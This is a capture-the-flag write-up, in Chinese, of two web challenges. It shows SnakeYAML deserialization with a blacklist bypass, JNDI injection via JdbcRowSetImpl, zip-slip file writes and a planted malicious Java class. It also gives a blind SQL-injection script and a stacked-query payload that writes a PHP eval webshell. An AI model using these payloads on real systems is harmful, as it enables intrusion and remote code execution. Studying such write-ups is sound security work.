turn

出网打法

有个文件上传接口,可以在线解压。

image-20241128215914922.png

yaml反序列化,固定反序列化/opt/resources下的文件。

image-20241128215929153.png

黑名单:

{“ScriptEngineManager”, “URLClassLoader”, “!!”, “ClassLoader”, “AnnotationConfigApplicationContext”, “FileSystemXmlApplicationContext”, “GenericXmlApplicationContext”, “GenericGroovyApplicationContext”, “GroovyScriptEngine”, “GroovyClassLoader”, “GroovyShell”, “ScriptEngine”, “ScriptEngineFactory”, “XmlWebApplicationContext”, “ClassPathXmlApplicationContext”, “MarshalOutputStream”, “InflaterOutputStream”, “FileOutputStream”};

大致看一下,可以利用的点:

  1. /upload处,可以目录穿越,可以传文件到任意为止,但是后缀固定是zip。yaml反序列化不看文件后缀名。

  2. /unzip这里,注意看entry.getName(),没有做检查,也可以穿越,这个比较牛逼,不限后缀,且父目录不存在则会创建。怎么利用呢?像这样:

import zipfile

with zipfile.ZipFile('example.zip', 'w') as zipf:
zipf.write('your_file','../your_file.txt')

这样的entry.getName()就是带../的。

直接使用unzip命令会跳过目录穿越:

image-20241128220132928.png

做法就是,绕过黑名单,然后直接打jndi。这种绕过写法,我也是第一次见。

%TAG !  tag:yaml.org,2002:
---
!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://127.0.0.1"
autoCommit: true

不出网打法

好了,现在这题假如不出网怎么打?

现场打的时候,直接打jndi不通外网的vps,所以花了好几个小时本地调试,排查问题,然后摸索不出网的打法。有点头绪之后,发现竟然通接入的vpn的本机ip,就直接打jndi。

结束之后,继续之前的不出网打法思路,最终摸索出来了。

思路:由于已经能达成任意文件写,所以想写一个恶意类,到jdk的类加载路径,然后使用yaml去触发反序列化。

先确定jdk路径:/usr/lib/jvm/java-8-openjdk-amd64/jre/

怎么确定的?本机的jdk8路径是这个,然后借助/upload的目录穿越,穿越到这里,如果这个目录存在,则正常上传文件,否则会提示报错信息。

然后借助/upzip,写一个类,写到/usr/lib/jvm/java-8-openjdk-amd64/jre/classes下。这个目录下的类文件默认都会查找。

恶意类:

public class UnkExp {

public UnkExp(){
// Evil operation
}

}

yaml

%TAG !  tag:yaml.org,2002:
---
!example.UnkExp

我以为这样会自动调用无参构造。

然后报错:

Caused by: org.yaml.snakeyaml.error.YAMLException: No single argument constructor found for class example.UnkExp : null

虽然不知道为什么,那就再加上一个单参构造,然后继续报错:

Caused by: org.yaml.snakeyaml.error.YAMLException: Unsupported class: class java.lang.Object

为什么呢?比赛时就卡在这个位置。

睡一觉之后继续思考,会不会是因为没有字段?改成这样:

%TAG !  tag:yaml.org,2002:
---
!example.UnkExp
autoCommit: true

类写成这样

public class UnkExp {

public UnkExp(){}
public UnkExp(Object o){}

public void setAutoCommit(boolean o){

}

}

不报错了,可以成功进setter。

image-20241128220420812.png

后续就是打内存马。

总结一下,问题还是自己想当然以为会调构造器的,省了字段的这一步。

问题又来了,为什么有字段可以,没字段不行呢?

根据异常去找一下调用栈,看看哪里不一样。

成功触发setter时的调用栈:

at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.constructJavaBean2ndStep(Constructor.java:290)
at org.yaml.snakeyaml.constructor.Constructor$ConstructMapping.construct(Constructor.java:171)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:484)

报错Unsupported class: class java.lang.Object时的调用栈

at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.constructStandardJavaInstance(Constructor.java:513)
at org.yaml.snakeyaml.constructor.Constructor$ConstructScalar.construct(Constructor.java:396)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:331)
at org.yaml.snakeyaml.constructor.Constructor$ConstructYamlObject.construct(Constructor.java:335)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObjectNoCheck(BaseConstructor.java:229)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructObject(BaseConstructor.java:219)
at org.yaml.snakeyaml.constructor.BaseConstructor.constructDocument(BaseConstructor.java:173)
at org.yaml.snakeyaml.constructor.BaseConstructor.getSingleData(BaseConstructor.java:157)
at org.yaml.snakeyaml.Yaml.loadFromReader(Yaml.java:490)
at org.yaml.snakeyaml.Yaml.loadAs(Yaml.java:484)

差别在,一个是Constructor$ConstructScalar.construct,一个是Constructor$ConstructMapping.construct

断点打在:Constructor$ConstructYamlObject.construct

image-20241128220715803.png

发现解析出来的两种Node不一样:

<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:``yaml.org``,2002:example.UnkExp, value=)>
<org.yaml.snakeyaml.nodes.MappingNode (tag=tag:``yaml.org``,2002:com.sun.rowset.JdbcRowSetImpl, values=...

image-20241128220859599.png

image-20241128220908608.png

所以就是有字段值被当做Map,没有字段被当做标量了。

sqlmagic

sql注入。

单双引号井号还有 – 都被waf拦截

image-20241128220937732.png

如此闭合:

select x from x where username="$username" and password="$password"
select x from x where username="1\" and password="=0;"

盲注脚本

from dataclasses import dataclass
import requests,time,string
@dataclass
class BasicType:
value:str
def __str__(self) -> str:
return self.value

class Boolean(BasicType):
pass

@dataclass
class Ascii(BasicType):

def equals(self,another:'Ascii'):
r2 = Boolean(f'(({self.value})=({another.value}))')
return r2

def greater(self,another:'Ascii'):
r = Boolean(f"(leAst({self.value},{another.value})in({another.value}))")
return r

@dataclass
class String(BasicType):
def asciiAt(self,index:int) -> Ascii:
s2 = Ascii(f'(Ascii(right(left({self.value},{index}),1)))')
return s2
def equals(self,another:'String') -> Boolean:
return Boolean(f'(({self.value})in({another.value}))')

def getStringValueByAscii(target:String,len:int=999):
result = ''
for i in range(1,len):
stop = True # 此种自动停止的方式,当asciiAt方法使用left+right截取字符串时无效
left = 32
right = 128
while (right > left):
mid = (left + right) // 2
if judgeBoolean(target.asciiAt(i).equals(Ascii(mid))):
result += chr(mid)
print(i,result)
stop = False
break
elif judgeBoolean(target.asciiAt(i).greater(Ascii(mid))):
left = mid
else:
right = mid
if stop:
break

def condition(res):
if 'Success' in res.text:
return True
return False

def judgeBoolean(target:Boolean):

url = 'http://172.25.29.19/index.php'
data = {'username':f"114\\",'password':f'=if({target},0,1);'}
res = requests.post(url,data=data)
return condition(res)

if __name__ == '__main__':

getStringValueByAscii(String('password'))

跑出来密码,但是没啥用。

image-20241128221002110.png

读变量

image-20241128221009825.png

思路明显了,估计是要写shell。

先读index.php看看:

getStringValueByAscii(String('hex(load_file(char(47,118,97,114,47,119,119,119,47,104,116,109,108,47,105,110,100,101,120,46,112,104,112)))'))
<?php
session_start();
error_reporting(0);
$con = new PDO("mysql:host=localhost;port=3306;dbname=ctf", 'root', 'root');

if(isset($_POST["username"]) && isset($_POST["password"])){


$username=$_POST["username"];
$password=$_POST["password"];

if(preg_match("/[#'\"*\/<>-]|select|union|case|between|like|regexp|set|do|0x|0b|\s|\w\xa0+\(/is", $username) || preg_match("/[#'\"*\/<>-]|select|union|case|between|like|regexp|set|do|0x|0b|\s|\w\xa0+\(/is", $password)){
die("waf");
}

$sql = "SELECT username FROM user WHERE username = \"$username\" and password = \"$password\"";
$ret = $con->query($sql);
if (count($ret->fetchAll())>0){
die("Success");
}
else{
die("Wrong username or password");
}
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<link rel="stylesheet" href="./all.min.css">
<style>

存在堆叠注入,我还是想当然以为不可以,甚至也没有去测,导致浪费了3 4小时。

过程中尝试各种写shell的绕过,顺便补充了不懂的。

  1. 没有union 和 select,但是有引号时候,可以这样:into outfile ‘/var/www/html/shell.php’ fields terminated by ‘<?php assert($_POST[“cmd”]);?>’
  2. outfile和dumpfile后面,必须接字符串的常量,函数变换比如char还有反引号都不行。

然后是堆叠,没有set,怎么办呢?测试如下:prepare from 这个语句后边,mariadb可以接字符串表达式,但是mysql必须接字符串常量或者@变量。

image-20241128221113043.png

用这个::=定义变量语法可以在where字句用

最终payload:

username=123&password=and%a0@c2:=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,103,46,112,104,112,39,59);prepare%a0p%a0from%a0@c2;execute%a0p;